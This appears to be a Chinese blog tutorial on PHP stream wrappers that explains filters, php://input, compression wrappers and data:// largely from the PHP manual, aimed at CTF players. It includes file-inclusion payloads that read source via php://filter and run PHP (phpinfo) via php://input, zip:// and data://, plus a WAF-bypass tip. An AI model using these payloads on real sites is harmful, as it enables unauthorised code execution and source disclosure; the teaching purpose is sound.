<content type="html"><![CDATA[<p>前一篇对SSRF的总结,实际上里面也是涉及到一些协议的,这里也在自己之前学习PHP伪协议时的笔记基础上进行扩充,对PHP伪协议进行一下总结。</p><h2 id="PHP-支持的伪协议">PHP 支持的伪协议</h2><p>php伪协议,事实上是其支持的协议与封装协议。而其支持的协议有:</p><figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">php:</span><span class="comment">// — 访问各个输入/输出流(I/O streams)</span></span><br><span class="line"><span class="symbol">file:</span><span class="comment">// — 访问本地文件系统</span></span><br><span class="line"><span class="symbol">http:</span><span class="comment">// — 访问 HTTP(s) 网址</span></span><br><span class="line"><span class="symbol">ftp:</span><span class="comment">// — 访问 FTP(s) URLs</span></span><br><span class="line"><span class="symbol">zlib:</span><span class="comment">// — 压缩流</span></span><br><span class="line"><span class="symbol">data:</span><span class="comment">// — 数据(RFC 2397)</span></span><br><span class="line"><span class="symbol">glob:</span><span class="comment">// — 查找匹配的文件路径模式</span></span><br><span class="line"><span class="symbol">phar:</span><span class="comment">// — PHP 归档</span></span><br><span class="line"><span class="symbol">ssh2:</span><span class="comment">// — Secure Shell 2</span></span><br><span class="line"><span class="symbol">rar:</span><span class="comment">// — RAR</span></span><br><span class="line"><span class="symbol">ogg:</span><span class="comment">// — 音频流</span></span><br><span class="line"><span class="symbol">expect:</span><span class="comment">// — 处理交互式的流</span></span><br></pre></td></tr></table></figure><h2 id="php-协议">php:// 协议</h2><p>使用条件:</p><figure class="highlight autohotkey"><table><tr><td class="code"><pre><span class="line">不需要开启`allow_url_fopen`</span><br><span class="line"><span class="title">仅`php://input、 php://stdin、 php://memory 和 php:</span>//temp `需要开启`allow_url_include`。</span><br></pre></td></tr></table></figure><p><code>php://</code>访问各个输入/输出流<code>I/O streams)</code>,在CTF中经常使用的是<code>php://filter</code>和<code>php://input</code>,<code>php://filter</code>用于读取源码,<code>php://input</code>用于执行<code>php</code>代码。</p><p>下面对其进行详细介绍:</p><h3 id="php-filter">php://filter</h3><p><code>CTF</code>中常用的伪协议,可以用来读取文件,是一种元封装器,设计用于数据流打开时的筛选过滤应用。其中一种最典型的利用方式如下:</p><figure class="highlight livecodeserver"><table><tr><td class="code"><pre><span class="line">index.php?<span class="built_in">file</span>=php://<span class="built_in">filter</span>/<span class="built_in">read</span>=<span class="built_in">convert</span>.base64-encode/resource=index.php</span><br><span class="line"></span><br><span class="line">// 这里读的过滤器为<span class="built_in">convert</span>.base64-encode,就和字面上的意思一样,把输入流base64-encode。</span><br><span class="line">// resource=upload.php,代表读取upload.php的内容</span><br></pre></td></tr></table></figure><p>上述代码意为使用<code>base64</code>编码的形式将<code>index.php</code>读取出来。对于上述利用方式具体每部分的含义,可以参照下图</p><p><img src="/image/201909_phpweixieyi/1.png" alt=""></p><p>在这里,涉及到一个过滤器的概念,<code>PHP</code>过滤器用于验证和过滤来自非安全来源的数据,比如用户的输入。在这里之所以可以使用过滤器读取文件,相当于是将文件作为过滤器输入,获取其经过处理之后的数据流,而在<code>PHP</code>中,过滤器有很多种,分别为:</p><ul><li><a href="https://www.php.net/manual/zh/filters.string.php" target="_blank" rel="noopener">字符串过滤器</a></li><li><a href="https://www.php.net/manual/zh/filters.convert.php" target="_blank" rel="noopener">转换过滤器</a></li><li><a href="https://www.php.net/manual/zh/filters.compression.php" target="_blank" rel="noopener">压缩过滤器</a></li><li><a href="https://www.php.net/manual/zh/filters.encryption.php" target="_blank" rel="noopener">加密过滤器</a></li></ul><h4 id="字符串过滤器">字符串过滤器</h4><figure class="highlight cpp"><table><tr><td class="code"><pre><span class="line"><span class="built_in">string</span>.rot13</span><br><span class="line"><span class="comment">// 进行rot13转换</span></span><br><span class="line"><span class="comment">// 自 PHP 4.3.0 起,使用此过滤器等同于用 str_rot13()函数处理所有的流数据。</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">string</span>.<span class="built_in">toupper</span></span><br><span class="line"><span class="comment">// 将字符全部大写</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">string</span>.<span class="built_in">tolower</span></span><br><span class="line"><span class="comment">// 将字符全部小写</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">string</span>.strip_tags</span><br><span class="line"><span class="comment">// 去除空字符、HTML 和 PHP 标记后的结果。</span></span><br><span class="line"><span class="comment">// 功能类似于strip_tags()函数,若不想某些字符不被消除,后面跟上字符,可利用字符串或是数组两种方式。</span></span><br></pre></td></tr></table></figure><ul><li>示例-string.rot13</li></ul><figure class="highlight mel"><table><tr><td class="code"><pre><span class="line"><?php</span><br><span class="line">$fp = <span class="keyword">fopen</span>(<span class="string">'php://output'</span>, <span class="string">'w'</span>);</span><br><span class="line">stream_filter_append($fp, <span class="string">'string.rot13'</span>);</span><br><span class="line"><span class="keyword">fwrite</span>($fp, <span class="string">"This is a test.\n"</span>);</span><br><span class="line">?></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Outputs: Guvf vf n grfg. */</span></span><br><span class="line"><span class="comment">// string.toupper(自 PHP 5.0.0 起)使用此过滤器等同于用 strtoupper()函数处理所有的流数据。</span></span><br></pre></td></tr></table></figure><ul><li>示例-string.toupper</li></ul><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$fp = fopen(<span class="string">'php://output'</span>, <span class="string">'w'</span>);</span><br><span class="line">stream_filter_append($fp, <span class="string">'string.toupper'</span>);</span><br><span class="line">fwrite($fp, <span class="string">"This is a test.\n"</span>);</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Outputs: THIS IS A TEST. */</span></span><br><span class="line"><span class="comment">// string.tolower(自 PHP 5.0.0 起)使用此过滤器等同于用 strtolower()函数处理所有的流数据。</span></span><br></pre></td></tr></table></figure><ul><li>示例-string.tolower</li></ul><figure class="highlight mel"><table><tr><td class="code"><pre><span class="line"><?php</span><br><span class="line">$fp = <span class="keyword">fopen</span>(<span class="string">'php://output'</span>, <span class="string">'w'</span>);</span><br><span class="line">stream_filter_append($fp, <span class="string">'string.tolower'</span>);</span><br><span class="line"><span class="keyword">fwrite</span>($fp, <span class="string">"This is a test.\n"</span>);</span><br><span class="line">?></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Outputs: this is a test. */</span></span><br></pre></td></tr></table></figure><h4 id="转换过滤器">转换过滤器</h4><p>如同<code>string.*</code>过滤器,<code>convert.*</code>过滤器的作用就和其名字一样。转换过滤器是<code>PHP 5.0.0 </code>添加的。</p><p>以常用的<code>convert.base64-encode</code>和<code>convert.base64-decode</code>为例,使用这两个过滤器等同于分别用<code>base64_encode()</code>和<code>base64_decode()</code>函数处理所有的流数据。</p><p><code>convert.base64-encode</code>支持以一个关联数组给出的参数。如果给出了<code>line-length</code>,<code>base64</code>输出将被用<code>line-length</code>个字符为 长度而截成块。如果给出了<code>line-break-chars</code>,每块将被用给出的字符隔开。这些参数的效果和用<code>base64_encode()</code>再加上<code>chunk_split()</code>相同。</p><ul><li>示例-convert.base64-encode & convert.base64-decode</li></ul><figure class="highlight mel"><table><tr><td class="code"><pre><span class="line"><?php</span><br><span class="line">$fp = <span class="keyword">fopen</span>(<span class="string">'php://output'</span>, <span class="string">'w'</span>);</span><br><span class="line">stream_filter_append($fp, <span class="string">'convert.base64-encode'</span>);</span><br><span class="line"><span class="keyword">fwrite</span>($fp, <span class="string">"This is a test.\n"</span>);</span><br><span class="line"><span class="keyword">fclose</span>($fp);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Outputs: VGhpcyBpcyBhIHRlc3QuCg== */</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$param = array(<span class="string">'line-length'</span> => <span class="number">8</span>, <span class="string">'line-break-chars'</span> => <span class="string">"\r\n"</span>);</span><br><span class="line">$fp = <span class="keyword">fopen</span>(<span class="string">'php://output'</span>, <span class="string">'w'</span>);</span><br><span class="line">stream_filter_append($fp, <span class="string">'convert.base64-encode'</span>, STREAM_FILTER_WRITE, $param);</span><br><span class="line"><span class="keyword">fwrite</span>($fp, <span class="string">"This is a test.\n"</span>);</span><br><span class="line"><span class="keyword">fclose</span>($fp);</span><br><span class="line"><span class="comment">/* Outputs: VGhpcyBp</span></span><br><span class="line"><span class="comment"> : cyBhIHRl</span></span><br><span class="line"><span class="comment"> : c3QuCg== */</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$fp = <span class="keyword">fopen</span>(<span class="string">'php://output'</span>, <span class="string">'w'</span>);</span><br><span class="line">stream_filter_append($fp, <span class="string">'convert.base64-decode'</span>);</span><br><span class="line"><span class="keyword">fwrite</span>($fp, <span class="string">"VGhpcyBpcyBhIHRlc3QuCg=="</span>);</span><br><span class="line"><span class="keyword">fclose</span>($fp);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Outputs: This is a test. */</span></span><br><span class="line">?></span><br></pre></td></tr></table></figure><p>除此之外,还有<code>convert.quoted-printable-encode</code>和<code>convert.quoted-printable-decode</code>两个过滤器。</p><p>使用此过滤器的<code>decode</code>等同于用<code>quoted_printable_decode()</code>函数处理所有的流数据。没有和<code>convert.quoted-printable-encode</code>对应的函数。</p><p><code>convert.quoted-printable-encode</code>支持以一个关联数组给出的参数。除了支持和<code>convert.base64-encode</code>一样的附加参数外,<code>convert.quoted-printable-encode</code>还支持布尔参数<code>binary</code>和<code>force-encode-first</code>。<code>convert.base64-decode</code>只支持<code>line-break-chars</code>参数作为从编码载荷中剥离的类型提示。</p><ul><li>示例-convert.quoted-printable-encode & convert.quoted-printable-decode</li></ul><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php">$fp = fopen(<span class="string">'php://output'</span>, <span class="string">'w'</span>);</span></span><br><span class="line"><span class="php">stream_filter_append($fp, <span class="string">'convert.quoted-printable-encode'</span>);</span></span><br><span class="line"><span class="php">fwrite($fp, <span class="string">"This is a test.\n"</span>);</span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="comment">/* Outputs: =This is a test.=0A */</span></span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><h4 id="压缩过滤器">压缩过滤器</h4><p>正如名字所提到的,其作用也是类似,虽然在<code>PHP</code>伪协议中,有压缩封装协议<code>(zlib://, bzip2://, zip://)</code>,提供了在本地文件系统中 创建 gzip 和 bz2 兼容文件的方法,但不代表可以在网络的流中提供通用压缩的意思,也不代表可以将一个非压缩的流转换成一个压缩流。对此,压缩过滤器可以在任何时候应用于任何流资源。</p><p>另外,需要注意的是,压缩过滤器不产生命令行工具如<code>gzip</code>的头和尾信息。只是压缩和解压数据流中的有效载荷部分。其中主要有<code>zlib.* , bzip2.* </code>两类压缩过滤器:</p><p><code>zlib.deflate</code>(压缩)和<code>zlib.inflate</code>(解压)实现了<code>RFC 1951</code>中的的压缩算法。 <code>zlib.* </code>压缩过滤器自 <code>PHP</code> 版本 <code>5.1.0</code>起可用,在激活 <code>zlib</code>的前提下。也可以通过安装来自<code>PECL</code>的<code>zlib_filter</code>包作为一个后门在<code>5.0.x</code>版中使用。此过滤器在<code>PHP 4</code>中不可用。</p><p>其中,deflate过滤器最多可以接受三个参数。分别为:</p><ul><li><p><code>level</code> 定义了压缩强度(1-9)。数字更高通常会产生更小的载荷,但要消耗更多的处理时间。存在两个特殊压缩等级:0(完全不压缩)和 -1(zlib 内部默认值,目前是 6)。</p></li><li><p><code>window</code> 压缩回溯窗口大小,以二的次方表示。更高的值(大到 15 —— 32768 字节)产生更好的压缩效果但消耗更多内存,低的值(低到 9 —— 512 字节)产生产生较差的压缩效果但内存消耗低。目前默认的 window大小是 15。</p></li><li><p><code>memory</code> 用来指示要分配多少工作内存。合法的数值范围是从 1(最小分配)到 9(最大分配)。内存分配仅影响速度,不会影响生成的载荷的大小。</p></li></ul><p>下面为该压缩过滤器的示例:</p><ul><li>示例-zlib.deflate和 zlib.inflate</li></ul><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php">$params = <span class="keyword">array</span>(<span class="string">'level'</span> => <span class="number">6</span>, <span class="string">'window'</span> => <span class="number">15</span>, <span class="string">'memory'</span> => <span class="number">9</span>);</span></span><br><span class="line"></span><br><span class="line"><span class="php">$original_text = <span class="string">"This is a test.\nThis is only a test.\nThis is not an important string.\n"</span>;</span></span><br><span class="line"><span class="php"><span class="keyword">echo</span> <span class="string">"The original text is "</span> . strlen($original_text) . <span class="string">" characters long.\n"</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="php">$fp = fopen(<span class="string">'test.deflated'</span>, <span class="string">'w'</span>);</span></span><br><span class="line"><span class="php">stream_filter_append($fp, <span class="string">'zlib.deflate'</span>, STREAM_FILTER_WRITE, $params);</span></span><br><span class="line"><span class="php">fwrite($fp, $original_text);</span></span><br><span class="line"><span class="php">fclose($fp);</span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="keyword">echo</span> <span class="string">"The compressed file is "</span> . filesize(<span class="string">'test.deflated'</span>) . <span class="string">" bytes long.\n"</span>;</span></span><br><span class="line"><span class="php"><span class="keyword">echo</span> <span class="string">"The original text was:\n"</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="comment">/* Use readfile and zlib.inflate to decompress on the fly */</span></span></span><br><span class="line"><span class="php">readfile(<span class="string">'php://filter/zlib.inflate/resource=test.deflated'</span>);</span></span><br><span class="line"></span><br><span class="line">/* Generates output:</span><br><span class="line"></span><br><span class="line">The original text is 70 characters long.</span><br><span class="line">The compressed file is 56 bytes long.</span><br><span class="line">The original text was:</span><br><span class="line">This is a test.</span><br><span class="line">This is only a test.</span><br><span class="line">This is not an important string.</span><br><span class="line"></span><br><span class="line"><span class="php"> */</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><ul><li>示例-zlib.deflate简单参数用法</li></ul><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php">$original_text = <span class="string">"This is a test.\nThis is only a test.\nThis is not an important string.\n"</span>;</span></span><br><span class="line"><span class="php"><span class="keyword">echo</span> <span class="string">"The original text is "</span> . strlen($original_text) . <span class="string">" characters long.\n"</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="php">$fp = fopen(<span class="string">'test.deflated'</span>, <span class="string">'w'</span>);</span></span><br><span class="line"><span class="php"><span class="comment">/* Here "6" indicates compression level 6 */</span></span></span><br><span class="line"><span class="php">stream_filter_append($fp, <span class="string">'zlib.deflate'</span>, STREAM_FILTER_WRITE, <span class="number">6</span>);</span></span><br><span class="line"><span class="php">fwrite($fp, $original_text);</span></span><br><span class="line"><span class="php">fclose($fp);</span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="keyword">echo</span> <span class="string">"The compressed file is "</span> . filesize(<span class="string">'test.deflated'</span>) . <span class="string">" bytes long.\n"</span>;</span></span><br><span class="line"></span><br><span class="line">/* Generates output:</span><br><span class="line"></span><br><span class="line">The original text is 70 characters long.</span><br><span class="line">The compressed file is 56 bytes long.</span><br><span class="line"></span><br><span class="line"><span class="php"> */</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><p><code>bzip2.compress</code>和<code>bzip2.decompress</code>工作的方式与上面讲的<code>zlib.*</code>过滤器相同。 自<code>PHP 5.1.0</code>起可用,在激活 <code>bz2</code>支持的前提下。也可以通过安装来自<code>PECL</code>的<code>bz2_filter</code>包作为一个后门在<code>5.0.x</code>版中使用。此过滤器在<code>PHP 4</code>中 不可用。</p><p><code>bzip2.compress</code>过滤器接受最多两个参数:</p><ul><li><code>blocks</code> 从 1 到 9 的整数值,指定分配多少个 100K 字节的内存块作为工作区。</li><li><code>work</code> 0 到 250 的整数值,指定在退回到一个慢一些,但更可靠的算法之前做多少次常规压缩算法的尝试。调整此参数仅影响到速度,压缩输出和内存使用都不受此设置的影响。将此参数设为 0 指示 bzip 库使用内部默认算法。</li></ul><p><code>bzip2.decompress</code>过滤器仅接受一个参数,可以用普通的布尔值传递,或者用一个关联数组中的<code>small</code>单元传递。当<code>small</code>设为<code>&true</code>; 值时,指示<code>bzip</code>库用最小的内存占用来执行解压缩,代价是速度会慢一些。</p><p>下面为其使用示例:</p><ul><li>示例-bzip2.compress和 bzip2.decompress</li></ul><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php">$param = <span class="keyword">array</span>(<span class="string">'blocks'</span> => <span class="number">9</span>, <span class="string">'work'</span> => <span class="number">0</span>);</span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="keyword">echo</span> <span class="string">"The original file is "</span> . filesize(<span class="string">'LICENSE'</span>) . <span class="string">" bytes long.\n"</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="php">$fp = fopen(<span class="string">'LICENSE.compressed'</span>, <span class="string">'w'</span>);</span></span><br><span class="line"><span class="php">stream_filter_append($fp, <span class="string">'bzip2.compress'</span>, STREAM_FILTER_WRITE, $param);</span></span><br><span class="line"><span class="php">fwrite($fp, file_get_contents(<span class="string">'LICENSE'</span>));</span></span><br><span class="line"><span class="php">fclose($fp);</span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="keyword">echo</span> <span class="string">"The compressed file is "</span> . filesize(<span class="string">'LICENSE.compressed'</span>) . <span class="string">" bytes long.\n"</span>;</span></span><br><span class="line"></span><br><span class="line">/* Generates output:</span><br><span class="line"></span><br><span class="line">The original text is 3288 characters long.</span><br><span class="line">The compressed file is 1488 bytes long.</span><br><span class="line"></span><br><span class="line"><span class="php"> */</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><h4 id="加密过滤器">加密过滤器</h4><p>加密过滤器为<code>mcrypt.*</code>和<code>mdecrypt.*</code>,使用<code>libmcrypt</code>提供了对称的加密和解密。这两组过滤器都支持<code>mcrypt</code>扩展库中相同的算法,格式为<code>mcrypt.ciphername</code>,其中<code>ciphername</code>是密码的名字,将被传递给<code>mcrypt_module_open()</code>。有以下五个过滤器参数可用:</p><p><img src="/image/201909_phpweixieyi/2.png" alt=""></p><ul><li>示例-用 3DES 将文件加密输出</li></ul><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php">$passphrase = <span class="string">'My secret'</span>;</span></span><br><span class="line"></span><br><span class="line">/* Turn a human readable passphrase</span><br><span class="line"> * into a reproducable iv/key pair</span><br><span class="line"><span class="php"> */</span></span><br><span class="line"><span class="php">$iv = substr(md5(<span class="string">'iv'</span>.$passphrase, <span class="keyword">true</span>), <span class="number">0</span>, <span class="number">8</span>);</span></span><br><span class="line"><span class="php">$key = substr(md5(<span class="string">'pass1'</span>.$passphrase, <span class="keyword">true</span>) .</span></span><br><span class="line"><span class="php"> md5(<span class="string">'pass2'</span>.$passphrase, <span class="keyword">true</span>), <span class="number">0</span>, <span class="number">24</span>);</span></span><br><span class="line"><span class="php">$opts = <span class="keyword">array</span>(<span class="string">'iv'</span>=>$iv, <span class="string">'key'</span>=>$key);</span></span><br><span class="line"></span><br><span class="line"><span class="php">$fp = fopen(<span class="string">'secert-file.enc'</span>, <span class="string">'wb'</span>);</span></span><br><span class="line"><span class="php">stream_filter_append($fp, <span class="string">'mcrypt.tripledes'</span>, STREAM_FILTER_WRITE, $opts);</span></span><br><span class="line"><span class="php">fwrite($fp, <span class="string">'Secret secret secret data'</span>);</span></span><br><span class="line"><span class="php">fclose($fp);</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><ul><li>示例-读取加密的文件</li></ul><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php">$passphrase = <span class="string">'My secret'</span>;</span></span><br><span class="line"></span><br><span class="line">/* Turn a human readable passphrase</span><br><span class="line"> * into a reproducable iv/key pair</span><br><span class="line"><span class="php"> */</span></span><br><span class="line"><span class="php">$iv = substr(md5(<span class="string">'iv'</span>.$passphrase, <span class="keyword">true</span>), <span class="number">0</span>, <span class="number">8</span>);</span></span><br><span class="line"><span class="php">$key = substr(md5(<span class="string">'pass1'</span>.$passphrase, <span class="keyword">true</span>) .</span></span><br><span class="line"><span class="php"> md5(<span class="string">'pass2'</span>.$passphrase, <span class="keyword">true</span>), <span class="number">0</span>, <span class="number">24</span>);</span></span><br><span class="line"><span class="php">$opts = <span class="keyword">array</span>(<span class="string">'iv'</span>=>$iv, <span class="string">'key'</span>=>$key);</span></span><br><span class="line"></span><br><span class="line"><span class="php">$fp = fopen(<span class="string">'secert-file.enc'</span>, <span class="string">'rb'</span>);</span></span><br><span class="line"><span class="php">stream_filter_append($fp, <span class="string">'mdecrypt.tripledes'</span>, STREAM_FILTER_WRITE, $opts);</span></span><br><span class="line"><span class="php">$data = rtrim(stream_get_contents($fp));</span></span><br><span class="line"><span class="php">fclose($fp);</span></span><br><span class="line"></span><br><span class="line"><span class="php"><span class="keyword">echo</span> $data;</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><h3 id="php-input">php://input</h3><p>php://input是个可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。当传进去的参数作为文件名变量去打开文件时,可以将参数php://input,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取</p><p>利用条件:</p><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="attr">allow_url_include</span> = <span class="literal">On</span></span><br><span class="line"><span class="attr">allow_url_fopen</span> = <span class="literal">On</span>/<span class="literal">Off</span></span><br></pre></td></tr></table></figure><p>利用姿势:</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">index.php?file=php:<span class="comment">//input</span></span><br><span class="line"></span><br><span class="line">POST:</span><br><span class="line"><?php phpinfo();?><span class="regexp">/<? phpinfo();?></span></span><br></pre></td></tr></table></figure><p>需要注意的是,在<code>PHP 5.6</code>之前<code>php://input</code>打开的数据流只能读取一次; 数据流不支持<code>seek</code>操作。 不过,依赖于<code>SAPI</code>的实现,请求体数据被保存的时候, 它可以打开另一个<code>php://input</code>数据流并重新读取。 通常情况下,这种情况只是针对 POST 请求,而不是其他请求方式,比如<code>PUT</code>或者<code>PROPFIND</code>。</p><p>在<code>php://</code>伪协议中,除了上述两种在<code>CTF</code>中常用的之外,还有一些其他的,比如下面这些:</p><ul><li>php://output 一个只写的数据流, 允许以<code>print</code>和<code>echo</code>一样的方式 写入到输出缓冲区。</li><li>php://fd 允许直接访问指定的文件描述符。 例如<code>php://fd/3</code>引用了文件描述符<code>3</code>。</li><li>php://memory/php://temp 一个类似文件包装器的数据流,允许读写临时数据。</li><li>php://stdin/php://stdout/php://stderr 允许直接访问 PHP 进程相应的输入或者输出流</li></ul><h2 id="http-s-协议">http(s):// 协议</h2><p>用以访问<code>HTTP(s)</code>网址,允许通过<code>HTTP 1.0</code>的<code>GET</code>方法,以只读访问文件或资源。 <code>HTTP</code>请求会附带一个<code>Host: </code>头,用于兼容基于域名的虚拟主机。 如果在<code>php.ini</code>文件中或字节流上下文<code>(context)</code>配置了<code>user_agent</code>字符串,它也会被包含在请求之中。使用需要满足以下条件:</p><figure class="highlight applescript"><table><tr><td class="code"><pre><span class="line">allow_url_fopen:<span class="keyword">on</span></span><br><span class="line">allow_url_include :<span class="keyword">on</span></span><br></pre></td></tr></table></figure><p>用法:</p><figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">http:</span><span class="comment">//example.com</span></span><br><span class="line"><span class="symbol">http:</span><span class="comment">//example.com/file.php?var1=val1&var2=val2</span></span><br><span class="line"><span class="symbol">http:</span><span class="comment">//user:password@example.com</span></span><br><span class="line"><span class="symbol">https:</span><span class="comment">//example.com</span></span><br><span class="line"><span class="symbol">https:</span><span class="comment">//example.com/file.php?var1=val1&var2=val2</span></span><br><span class="line"><span class="symbol">https:</span><span class="comment">//user:password@example.com</span></span><br></pre></td></tr></table></figure><ul><li>示例-检测重定向后最终的 URL</li></ul><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php">$url = <span class="string">'http://www.example.com/redirecting_page.php'</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="php">$fp = fopen($url, <span class="string">'r'</span>);</span></span><br><span class="line"></span><br><span class="line"><span class="php">$meta_data = stream_get_meta_data($fp);</span></span><br><span class="line"><span class="php"><span class="keyword">foreach</span> ($meta_data[<span class="string">'wrapper_data'</span>] <span class="keyword">as</span> $response) {</span></span><br><span class="line"></span><br><span class="line"><span class="php"> <span class="comment">/* 我们是否被重定向了? */</span></span></span><br><span class="line"><span class="php"> <span class="keyword">if</span> (strtolower(substr($response, <span class="number">0</span>, <span class="number">10</span>)) == <span class="string">'location: '</span>) {</span></span><br><span class="line"></span><br><span class="line"><span class="php"> <span class="comment">/* 更新我们被重定向后的 $url */</span></span></span><br><span class="line"><span class="php"> $url = substr($response, <span class="number">10</span>);</span></span><br><span class="line"><span class="php"> }</span></span><br><span class="line"><span class="php">}</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><h2 id="ftp-s-协议">ftp(s):// 协议</h2><p>用以访问<code>FTP(s) URLs</code>,允许通过<code>FTP</code>读取存在的文件,以及创建新文件。 如果服务器不支持被动<code>(passive)</code>模式的<code>FTP</code>,连接会失败。</p><p>打开文件后你既可以读也可以写,但是不能同时进行。 当远程文件已经存在于<code>ftp</code>服务器上,如果尝试打开并写入文件的时候, 未指定上下文<code>(context)</code>选项<code>overwrite</code>,连接会失败。 如果要通过<code>FTP</code>覆盖存在的文件, 指定上下文<code>(context)</code>的<code>overwrite</code>选项来打开、写入。 另外可使用<code>FTP</code>扩展来代替。</p><p>需要注意的是:如果设置了<code>php.ini</code>中的<code>from</code>指令,这个值会作为匿名<code>(anonymous)ftp</code>的密码。</p><h2 id="zlib-bzip2-zip-协议">zlib:// & bzip2:// & zip:/ 协议</h2><p><code>php</code>伪协议中的压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀<code>(jpg png gif xxx)</code>等等。其使用条件为:</p><figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="attribute">allow_url_fopen</span>:<span class="literal">off</span>/<span class="literal">on</span></span><br><span class="line"><span class="attribute">allow_url_include</span> :<span class="literal">off</span>/<span class="literal">on</span></span><br></pre></td></tr></table></figure><ul><li>示例-使用<code>zip://</code>压缩<code>phpinfo.txt</code>为<code>phpinfo.zip</code> ,压缩包重命名为<code>phpinfo.jpg</code> ,并上传</li></ul><figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">http:<span class="regexp">//</span><span class="number">127.0</span>.<span class="number">0.1</span><span class="regexp">/include.php?file=zip:/</span><span class="regexp">/home/</span>test<span class="regexp">/WWW/</span>phpinfo.jpg%<span class="number">23</span>phpinfo.txt</span><br></pre></td></tr></table></figure><ul><li>示例-使用<code>compress.bzip2://file.bz2</code>压缩<code>phpinfo.txt</code>为<code>phpinfo.bz2</code>并上传(同样支持任意后缀名)</li></ul><figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">http:<span class="regexp">//</span><span class="number">127.0</span>.<span class="number">0.1</span><span class="regexp">/include.php?file=compress.bzip2:/</span><span class="regexp">/home/</span>test<span class="regexp">/WWW/</span>phpinfo.bz2</span><br></pre></td></tr></table></figure><ul><li>示例-使用<code>compress.zlib://file.gz</code>压缩<code>phpinfo.txt</code>为<code>phpinfo.gz</code>并上传(同样支持任意后缀名)</li></ul><figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">http:<span class="regexp">//</span><span class="number">127.0</span>.<span class="number">0.1</span><span class="regexp">/include.php?file=compress.zlib:/</span><span class="regexp">/home/</span>test<span class="regexp">/WWW/</span>phpinfo.gz</span><br></pre></td></tr></table></figure><h2 id="data-协议">data:// 协议</h2><p>自<code>PHP>=5.2.0</code>起,可以使用<code>data://</code>数据流封装器,以传递相应格式的数据。通常可以用来执行<code>PHP</code>代码。使用条件为:</p><figure class="highlight applescript"><table><tr><td class="code"><pre><span class="line">allow_url_fopen:<span class="keyword">on</span></span><br><span class="line">allow_url_include :<span class="keyword">on</span></span><br></pre></td></tr></table></figure><p>可以支持明文或编码,用法为:</p><figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">data:</span><span class="comment">//text/plain,XXX</span></span><br><span class="line"><span class="symbol">data:</span><span class="comment">//text/plain;base64,XXX</span></span><br><span class="line"></span><br><span class="line">格式为:</span><br><span class="line"><span class="symbol">data:</span><span class="comment">//资源类型;编码,内容</span></span><br></pre></td></tr></table></figure><ul><li>示例-使用明文方式读取<code>phpinfo()</code></li></ul><figure class="highlight livecodeserver"><table><tr><td class="code"><pre><span class="line"><span class="keyword">http</span>://<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>/<span class="built_in">include</span>.php?<span class="built_in">file</span>=data://<span class="keyword">text</span>/plain,<span class="meta"><?</span>php%<span class="number">20</span>phpinfo();<span class="meta">?></span></span><br></pre></td></tr></table></figure><p><img src="/image/201909_phpweixieyi/3.png" alt=""></p><ul><li>示例-使用<code>base64</code>方式(CTF中可用以绕过waf)读取<code>phpinfo()</code></li></ul><figure class="highlight livecodeserver"><table><tr><td class="code"><pre><span class="line"><span class="keyword">http</span>://<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>/<span class="built_in">include</span>.php?<span class="built_in">file</span>=data://<span 